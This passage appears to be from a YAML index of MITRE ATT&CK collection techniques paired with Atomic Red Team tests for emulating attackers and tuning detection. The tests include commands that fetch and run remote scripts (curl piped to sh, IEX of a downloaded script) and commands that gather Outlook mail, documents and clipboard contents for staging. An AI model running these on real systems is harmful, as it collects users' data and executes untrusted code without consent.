        File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.

        Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.

        Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Office 365
      - Google Workspace
      - macOS
      - Linux
      x_mitre_version: '2.5'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Connection Creation'
      - 'File: File Access'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f
      created: '2017-05-31T21:31:25.454Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1114
        external_id: T1114
      - source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2
        description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding.
          Retrieved October 8, 2019.
        url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1025:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - William Cain
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec
      type: attack-pattern
      created: '2017-05-31T21:30:31.584Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1025
        external_id: T1025
      modified: '2022-04-25T14:00:00.188Z'
      name: Data from Removable Media
      description: "Adversaries may search connected removable media on computers
        they have compromised to find files of interest. Sensitive data can be collected
        from any removable media (optical disk drive, USB memory, etc.) connected
        to the compromised system prior to Exfiltration. Interactive command shells
        may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
        may be used to gather information. \n\nSome adversaries may also use [Automated
        Collection](https://attack.mitre.org/techniques/T1119) on removable media."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: Monitor processes and command-line arguments for actions
        that could be taken to collect files from a system's connected removable media.
        Remote access tools with built-in features may interact directly with the
        Windows API to gather data. Data may also be acquired through Windows system
        management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      x_mitre_system_requirements:
      - Privileges to access removable media drive and files
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1074.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Massimiliano Romano, BT Security
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c
      created: '2020-03-13T21:13:10.467Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1074.001
        url: https://attack.mitre.org/techniques/T1074/001
      - source_name: Prevailion DarkWatchman 2021
        url: https://www.prevailion.com/darkwatchman-new-fileless-techniques/
        description: 'Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A
          new evolution in fileless techniques. Retrieved January 10, 2022.'
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.

        Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Data Staged: Local Data Staging'
      x_mitre_detection: |-
        Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.

        Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1074.001
    atomic_tests:
    - name: Stage data from Discovery.bat
      auto_generated_guid: 107706a5-6f9f-451a-adae-bab8c667829f
      description: |
        Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution,
        verify that the file is saved in the temp directory.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Location to save downloaded discovery.bat file
          type: path
          default: "$env:TEMP\\discovery.bat"
      executor:
        command: 'Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat"
          -OutFile #{output_file}

          '
        cleanup_command: 'Remove-Item -Force #{output_file} -ErrorAction Ignore

          '
        name: powershell
    - name: Stage data from Discovery.sh
      auto_generated_guid: 39ce0303-ae16-4b9e-bb5b-4f53e8262066
      description: 'Utilize curl to download discovery.sh and execute a basic information
        gathering shell script

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Location to save downloaded discovery.bat file
          type: path
          default: "/tmp/T1074.001_discovery.log"
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if curl is installed on the machine.

          '
        prereq_command: 'if [ -x "$(command -v curl)" ]; then echo "curl is installed";
          else echo "curl is NOT installed"; exit 1; fi

          '
        get_prereq_command: 'which apt && apt update && apt install -y curl || which
          pkg && pkg update && pkg install -y curl

          '
      executor:
        command: 'curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh
          | sh -s > #{output_file}

          '
        cleanup_command: 'rm #{output_file}

          '
        name: sh
    - name: Zip a Folder with PowerShell for Staging in Temp
      auto_generated_guid: a57fbe4b-3440-452a-88a7-943531ac872a
      description: |
        Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
        was placed in the temp directory.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Location to save zipped file or folder
          type: path
          default: "$env:TEMP\\Folder_to_zip.zip"
        input_file:
          description: Location of file or folder to zip
          type: path
          default: PathToAtomicsFolder\T1074.001\bin\Folder_to_zip
      executor:
        command: 'Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file}
          -Force

          '
        cleanup_command: 'Remove-Item -Path #{output_file} -ErrorAction Ignore

          '
        name: powershell
  T1114.001:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004
      type: attack-pattern
      created: '2020-02-19T18:46:06.098Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1114.001
        url: https://attack.mitre.org/techniques/T1114/001
      - source_name: Outlook File Sizes
        url: https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/
        description: N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and
          OST File Sizes. Retrieved February 19, 2020.
      - source_name: Microsoft Outlook Files
        url: https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790
        description: Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and
          .ost). Retrieved February 19, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Email Collection: Local Email Collection'
      description: |-
        Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.

        Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\<username>\Documents\Outlook Files` or `C:\Users\<username>\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: Monitor processes and command-line arguments for actions
        that could be taken to gather local email files. Monitor for unusual processes
        accessing local email files. Remote access tools with built-in features may
        interact directly with the Windows API to gather information. Information
        may also be acquired through Windows system management tools such as [Windows
        Management Instrumentation](https://attack.mitre.org/techniques/T1047) and
        [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1114.001
    atomic_tests:
    - name: Email Collection with PowerShell Get-Inbox
      auto_generated_guid: 3f1b5096-0139-4736-9b78-19bcb02bb1cb
      description: |
        Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration.
        Successful execution will produce stdout message stating "Please be patient, this may take some time...". Upon completion, final output will be a mail.csv file.

        Note: Outlook is required, but no email account necessary to produce artifacts.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Output file path
          type: string
          default: "$env:TEMP\\mail.csv"
        file_path:
          description: File path for Get-Inbox.ps1
          type: string
          default: PathToAtomicsFolder\T1114.001\src
      dependency_executor_name: powershell
      dependencies:
      - description: 'Get-Inbox.ps1 must be located at #{file_path}

          '
        prereq_command: 'if (Test-Path "#{file_path}\Get-Inbox.ps1") {exit 0} else
          {exit 1}

          '
        get_prereq_command: 'Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1114.001/src/Get-Inbox.ps1"
          -OutFile "#{file_path}\Get-Inbox.ps1"

          '
      executor:
        command: 'powershell -executionpolicy bypass -command "#{file_path}\Get-Inbox.ps1"
          -file #{output_file}

          '
        cleanup_command: 'Remove-Item #{output_file} -Force -ErrorAction Ignore

          '
        name: powershell
  T1119:
    technique:
      modified: '2024-01-02T13:35:57.680Z'
      name: Automated Collection
      description: "Once established within a system or network, an adversary may
        use automated techniques for collecting internal data. Methods for performing
        this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)
        to search for and copy information fitting set criteria such as file type,
        location, or name at specific time intervals. \n\nIn cloud-based environments,
        adversaries may also use cloud APIs, data pipelines, command line interfaces,
        or extract, transform, and load (ETL) services to automatically collect data.(Citation:
        Mandiant UNC3944 SMS Phishing 2023) \n\nThis functionality could also be built
        into remote access tools. \n\nThis technique may incorporate use of other
        techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)
        and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to
        identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538)
        and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619)
        to identify resources in cloud environments."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_contributors:
      - Praetorian
      x_mitre_deprecated: false
      x_mitre_detection: Depending on the method used, actions could include common
        file system commands and parameters on the command-line interface within batch
        files or scripts. A sequence of actions like this may be unusual, depending
        on the system and network environment. Automated collection may occur along
        with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074).
        As such, file access monitoring that shows an unusual process performing sequential
        file opens and potentially copy actions to another location on the file system
        for many files at once may indicate automated collection behavior. Remote
        access tools with built-in features may interact directly with the Windows
        API to gather data. Data may also be acquired through Windows system management
        tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as
        through cloud APIs and command line interfaces.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - IaaS
      - SaaS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      - 'Script: Script Execution'
      x_mitre_system_requirements:
      - Permissions to access directories, files, and API endpoints that store information
        of interest.
      type: attack-pattern
      id: attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619
      created: '2017-05-31T21:31:27.985Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1119
        external_id: T1119
      - source_name: Mandiant UNC3944 SMS Phishing 2023
        description: Mandiant Intelligence. (2023, September 14). Why Are You Texting
          Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware,
          Extortion, and Notoriety. Retrieved January 2, 2024.
        url: https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1119
    atomic_tests:
    - name: Automated Collection Command Prompt
      auto_generated_guid: cb379146-53f1-43e0-b884-7ce2c635ff5b
      description: |
        Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_command_prompt_collection
        to see what was collected.
      supported_platforms:
      - windows
      executor:
        command: |
          mkdir %temp%\T1119_command_prompt_collection >nul 2>&1
          dir c: /b /s .docx | findstr /e .docx
          for /R c:\ %f in (*.docx) do copy /Y %f %temp%\T1119_command_prompt_collection
        cleanup_command: 'del %temp%\T1119_command_prompt_collection /F /Q >nul 2>&1

          '
        name: command_prompt
    - name: Automated Collection PowerShell
      auto_generated_guid: 634bd9b9-dc83-4229-b19f-7f83ba9ad313
      description: |
        Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_powershell_collection
        to see what was collected.
      supported_platforms:
      - windows
      executor:
        command: |
          New-Item -Path $env:TEMP\T1119_powershell_collection -ItemType Directory -Force | Out-Null
          Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\T1119_powershell_collection}
        cleanup_command: 'Remove-Item $env:TEMP\T1119_powershell_collection -Force
          -ErrorAction Ignore | Out-Null

          '
        name: powershell
    - name: Recon information for export with PowerShell
      auto_generated_guid: c3f6d794-50dd-482f-b640-0384fbb7db26
      description: |
        collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt
        to see what was collected.
      supported_platforms:
      - windows
      executor:
        command: |
          Get-Service > $env:TEMP\T1119_1.txt
          Get-ChildItem Env: > $env:TEMP\T1119_2.txt
          Get-Process > $env:TEMP\T1119_3.txt
        cleanup_command: |
          Remove-Item $env:TEMP\T1119_1.txt -ErrorAction Ignore
          Remove-Item $env:TEMP\T1119_2.txt -ErrorAction Ignore
          Remove-Item $env:TEMP\T1119_3.txt -ErrorAction Ignore
        name: powershell
    - name: Recon information for export with Command Prompt
      auto_generated_guid: aa1180e2-f329-4e1e-8625-2472ec0bfaf3
      description: |
        collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt
        to see what was collected.
      supported_platforms:
      - windows
      executor:
        command: |
          sc query type=service > %TEMP%\T1119_1.txt
          doskey /history > %TEMP%\T1119_2.txt
          wmic process list > %TEMP%\T1119_3.txt
          tree C:\AtomicRedTeam\atomics > %TEMP%\T1119_4.txt
        cleanup_command: |
          del %TEMP%\T1119_1.txt >nul 2>&1
          del %TEMP%\T1119_2.txt >nul 2>&1
          del %TEMP%\T1119_3.txt >nul 2>&1
          del %TEMP%\T1119_4.txt >nul 2>&1
        name: command_prompt
  T1115:
    technique:
      modified: '2023-04-14T21:51:47.277Z'
      name: Clipboard Data
      description: "Adversaries may collect data stored in the clipboard from users
        copying information within or between applications. \n\nFor example, on Windows
        adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>.(Citation:
        MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally,
        adversaries may monitor then replace users’ clipboard with their data (e.g.,
        [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation:
        mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as
        <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with
        EmPyre)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_deprecated: false
      x_mitre_detection: Access to the clipboard is a legitimate function of many
        applications on an operating system. If an organization chooses to monitor
        for this behavior, then the data will likely need to be correlated against
        other suspicious or non-user-driven activity.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f
      created: '2017-05-31T21:31:25.967Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1115
        external_id: T1115
      - source_name: CISA_AA21_200B
        description: 'CISA. (2021, August 20). Alert (AA21-200B) Chinese State-Sponsored
          Cyber Operations: Observed TTPs. Retrieved June 21, 2022.'
        url: https://www.cisa.gov/uscert/ncas/alerts/aa21-200b
      - source_name: mining_ruby_reversinglabs
        description: Maljic, T. (2020, April 16). Mining for malicious Ruby gems.
          Retrieved October 15, 2022.
        url: https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems
      - source_name: clip_win_server
        description: Microsoft, JasonGerend, et al. (2023, February 3). clip. Retrieved
          June 21, 2022.
        url: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip
      - source_name: MSDN Clipboard
        description: Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.
        url: https://msdn.microsoft.com/en-us/library/ms649012
      - source_name: Operating with EmPyre
        description: rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July
          12, 2017.
        url: https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1115
    atomic_tests:
    - name: Utilize Clipboard to store or execute commands from
      auto_generated_guid: 0cd14633-58d4-4422-9ede-daa2c9474ae7
      description: 'Add data to clipboard to copy off or execute commands from.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          dir | clip
          echo "T1115" > %temp%\T1115.txt
          clip < %temp%\T1115.txt
        cleanup_command: 'del %temp%\T1115.txt >nul 2>&1

          '
        name: command_prompt
    - name: Execute Commands from Clipboard using PowerShell
      auto_generated_guid: d6dc21af-bec9-4152-be86-326b6babd416
      description: 'Utilize PowerShell to echo a command to clipboard and execute
        it

        '
      supported_platforms:
      - windows
      executor:
        command: |
          echo Get-Process | clip
          Get-Clipboard | iex
        name: powershell
    - name: Execute commands from clipboard
      auto_generated_guid: 1ac2247f-65f8-4051-b51f-b0ccdfaaa5ff
      description: Echo a command to clipboard and execute it
      supported_platforms:
      - macos
      executor:
        command: |-
          echo ifconfig | pbcopy
          $(pbpaste)
        name: bash
    - name: Collect Clipboard Data via VBA
      auto_generated_guid: 9c8d5a72-9c98-48d3-b9bf-da2cc43bdf52
      description: 'This module copies the data stored in the user''s clipboard and
        writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt

        '
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Set-Clipboard -value "Atomic T1115 Test, grab data from clipboard via VBA"
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1115\src\T1115-macrocode.txt" -officeProduct "Word" -sub "GetClipboard"
        cleanup_command: 'Remove-Item "$env:TEMP\atomic_T1115_clipboard_data.txt"
          -ErrorAction Ignore

          '
        name: powershell
    - name: Add or copy content to clipboard with xClip
      auto_generated_guid: ee363e53-b083-4230-aff3-f8d955f2d5bb
      description: 'Utilize Linux Xclip to copy history and place in clipboard then
        output to a history.txt file. Successful execution will capture history and
        output to a file on disk.

        '
      supported_platforms:
      - linux
      executor:
        command: |
          apt install xclip -y
          history | tail -n 30 | xclip -sel clip
          xclip -o > history.txt
        name: sh
  T1530:
    technique:
      modified: '2023-09-29T16:11:43.530Z'
      name: Data from Cloud Storage Object
      description: "Adversaries may access data from cloud storage.\n\nMany IaaS providers
        offer solutions for online data object storage such as Amazon S3, Azure Storage,
        and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office
        365 and Google Workspace provide cloud-based document storage to users through
        services such as OneDrive and Google Drive, while SaaS application providers
        such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage
        solutions as a peripheral or primary use case of their platform. \n\nIn some
        cases, as with IaaS-based cloud storage, there exists no overarching application
        (such as SQL or Elasticsearch) with which to interact with the stored objects:
        instead, data from these solutions is retrieved directly though the [Cloud
        API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications,
        adversaries may be able to collect this data directly from APIs or backend
        cloud storage objects, rather than through their front-end application or
        interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)).
        \n\nAdversaries may collect sensitive data from these cloud storage solutions.
        Providers typically offer security guides to help end users configure systems,
        though misconfigurations are a common problem.(Citation: Amazon S3 Security,
        2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud
        Storage Best Practices, 2019) There have been numerous incidents where cloud
        storage has been improperly secured, typically by unintentionally allowing
        public access to unauthenticated users, overly-broad access by all users,
        or even access for any anonymous person outside the control of the Identity
        Access Management system without even needing basic user permissions.\n\nThis
        open access may expose various types of sensitive data, such as credit cards,
        personally identifiable information, or medical records.(Citation: Trend Micro
        S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation:
        HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries
        may also obtain then abuse leaked credentials from source repositories, logs,
        or other means as a way to gain access to cloud storage objects."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_contributors:
      - Netskope
      - Praetorian
      - AppOmni
      x_mitre_deprecated: false
      x_mitre_detection: Monitor for unusual queries to the cloud provider's storage
        service. Activity originating from unexpected sources may indicate improper
        permissions are set that is allowing access to data. Additionally, detecting
        failed attempts by a user for a certain object, followed by escalation of
        privileges by the same user, and access to the same object may be an indication
        of suspicious activity.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - IaaS
      - SaaS
      - Google Workspace
      - Office 365
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Cloud Storage: Cloud Storage Access'
      type: attack-pattern
      id: attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7
      created: '2019-08-30T18:07:27.741Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1530
        external_id: T1530
      - source_name: Amazon S3 Security, 2019
        description: Amazon. (2019, May 17). How can I secure the files in my Amazon
          S3 bucket?. Retrieved October 4, 2019.
        url: https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/
      - source_name: Microsoft Azure Storage Security, 2019
        description: Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20).
          Azure Storage security guide. Retrieved October 4, 2019.
        url: https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
      - source_name: Wired Magecart S3 Buckets, 2019
        description: 'Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker
          Group Hit 17K Domains—and Counting. Retrieved October 4, 2019.'
        url: https://www.wired.com/story/magecart-amazon-cloud-hacks/
      - source_name: Google Cloud Storage Best Practices, 2019
        description: Google. (2019, September 16). Best practices for Cloud Storage.
          Retrieved October 4, 2019.
        url: https://cloud.google.com/storage/docs/best-practices
      - source_name: HIPAA Journal S3 Breach, 2017
        description: HIPAA Journal. (2017, October 11). 47GB of Medical Records and
          Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.
        url: https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/
      - source_name: Rclone-mega-extortion_05_2021
        description: Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring
          leverage in a ransomware attack. Retrieved July 14, 2022.
        url: https://redcanary.com/blog/rclone-mega-extortion/
      - source_name: Trend Micro S3 Exposed PII, 2017
        description: Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed
          Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.
        url: https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1530
    atomic_tests:
    - name: Azure - Enumerate Azure Blobs with MicroBurst
      auto_generated_guid: 3dab4bcc-667f-4459-aea7-4162dd2d6590
      description: "Upon successful execution, this test will utilize a wordlist to
        enumerate the public facing containers and blobs of a specified Azure storage
        account. \nSee https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/
        . \n"
      supported_platforms:
      - iaas:azure
      input_arguments:
        base:
          description: Azure blob keyword to enumerate (Example, storage account name)
          type: string
          default: secure
        output_file:
          description: File to output results to
          type: string
          default: "$env:temp\\T1530Test1.txt"
        wordlist:
          description: File path to keywords for search permutations
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\permutations.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads.

          '
